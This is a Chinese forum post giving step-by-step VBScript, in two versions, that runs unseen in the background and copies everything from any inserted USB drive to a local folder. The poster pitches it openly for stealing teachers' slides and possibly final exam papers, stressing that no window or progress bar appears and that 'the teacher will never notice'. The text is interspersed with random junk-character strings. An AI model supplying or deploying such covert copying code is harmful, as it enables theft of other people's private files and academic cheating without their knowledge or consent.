找回密码
 注册
搜索
查看: 644|回复: 0

如何让U盘插入自动复制

[复制链接]
  • TA的每日心情
    慵懒
    2025-5-11 07:15
  • 签到天数: 4472 天

    连续签到: 3 天

    [LV.Master]十年《功德圆满》

    发表于 2014-6-23 20:29 | 显示全部楼层 |阅读模式
    U盘插入自动复制,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···有图有真相!业界良心的好东西!!现在看还来得及!!!2 S/ K- N" l& ?; K0 ?. `; i
    代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行。
    + m- ^( E; L4 g5 J同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样% o2 f- B# {, P- Z: {7 A: O0 J

    1 D2 K# g0 ]1 j8 J 457ad715jw1ehmqzs465tj20ca07w0td.jpg
    3 M# i/ W4 R/ H! s( x# Z) ?' c5 F
    2 u. ?+ w3 f$ t4 F! B把下面的代码复制进去1 c, u( F! L5 e$ O0 X. q; W" M# e
    set fso=createobject("scripting.filesystemobject")2 j3 |) o* i& ~6 w
    set ws=createobject("wscript.shell")
      U* w+ \, F% L2 ~0 `# hon error resume next
    , H& w, V% I0 Mdo
    : k/ P+ ~* q( |6 Jwscript.sleep 1000
    2 F; J" ]  f7 Uif fso.driveexists("U盘的盘符") then
    : W# x$ U0 j" T. pfso.copyfile "U盘的盘符加*号","要复制到的目录"6 x8 `8 s, S& O6 w8 g
    fso.copyfolder "U盘的盘符加*号","要复制到的目录"% G% W" Z. h8 q" q
    wscript.sleep 20000
    : D8 y2 P5 a# V. c, }end if/ c, M! B( H2 k3 Q
    loop( b, V9 C7 K7 T8 m% C/ ^0 c
    ( Z1 \/ X& p) F7 K3 B/ _! [. L
    457ad715jw1ehmqzt11jbj20f707cmy3.jpg 8 g! q) I4 o$ v) X$ e: P. n0 L8 \
    8 @" P/ J' S$ f/ R4 M
    注意标颜色的地方要自己改  m8 U( ~$ [* [6 o
    蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。4 ]8 g0 h8 m" S% N  R: o! ]& Q
    红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,5 w. R- U8 X; W: _
    第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。
    2 s8 [; g  U: F/ [( x
    8 t& T" d- M: i$ X5 i3 ?; } 457ad715jw1ehmqzrloobj20f907d755.jpg
    ) _! h) @. O4 G. W/ M
    ; u9 M8 ]1 U5 Q* A/ G# ?复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。1 d/ o9 \, \* {/ D

    $ x8 g# {/ S& l+ ^ 457ad715jw1ehmr09k969j20ay0ce0uj.jpg
    ! v) w( N- U" K2 Z" ^: E
    # J) C7 |- p9 Q. X后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了8 c- f9 Q$ o! A' a% R) G
    要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。- z: z+ F5 e3 M( c- ]
    另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···2 x% o+ ~& v5 i

    + A' z! N* [' o4 E. d 457ad715jw1ehmr0h2fozj20f705kwex.jpg 7 k7 X$ U0 K: f! D4 @, }+ `

    7 H: R$ U* ?7 ], t1 Q6 i8 l" ~3 Y更新:
    : x7 `7 x/ w7 S7 w: L现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可
    . J5 Y1 h6 J+ n* }7 I. Q, ~) c; q0 b: Y2 |* l
    set fso=createobject("scripting.filesystemobject") + S' o% U5 W$ R: i8 n4 F- W
    set ws=createobject("wscript.shell")
    1 p5 ^9 |2 L5 Q3 Idim USB, file, folder, files
    . Z: Y8 v) j" Q. D5 I. y6 fUSB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F") , ^# Q2 N* N, Q& ^, S
    folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB") 0 O& t* ]1 L5 I$ S1 ]
    files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL") 5 i& V3 y& j, t. [0 a5 w
    USB=USB & ":\"
    . j6 V7 z% Q/ M; E% Bfolder=folder & "\"
    3 d% d; I9 ^$ sif files="ALL"then + Y* h# {; I# Z/ w. G2 [
    file=USB & "*"
    ' P. e5 E& l+ v' l3 helse
    # G9 h# o- i8 Nfile=USB & "*." & files
    ( L+ e1 o2 V, e; f, _" Hend if
    $ p: l( l& v" N$ b9 W" Bif FSO.FolderExists(folder) then
    4 p/ T: \% u; l$ Pelse 7 l2 N( g  x7 O, w! @; z9 V) a
    FSO.CreateFolder(folder) " J. P; {* E! b- Z4 T
    end if
    + Q1 a; m. a5 \5 gon error resume next # o. ^$ K- U, g3 ^9 N7 j8 p0 E7 e
    do . H& J2 m6 g( A  E# D! T
    wscript.sleep 1000
    $ `4 Y1 m; {% h" V' l" Eif fso.driveexists(USB) then & y6 H# x" X7 Q1 k
    fso.copyfile file,folder 8 d& w, x& v; o3 u$ k) ~
    fso.copyfolder file,folder " L  {! l1 X! q; c8 k# g
    wscript.sleep 20000
    $ R* p' l6 I* y( Kend if 7 J" `( a9 s4 ?1 l& I+ \& \( }
    loop/ _! _0 b) J' Y2 U

    $ A) e; v# |1 t7 P% P3 \这样就完成了。
    6 D. W( S( i/ v- N( c4 e6 ]! a8 F
    , N: e) U  O1 B# x" X
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    手机版|小黑屋|Archiver|好手网

    GMT+8, 2025-5-12 06:00 Powered by Discuz! X3.5

    Copyright © 2009 - haohand.com. All rights reserved.
    Started 0 days (0 years) ago.
    快速回复 返回顶部 返回列表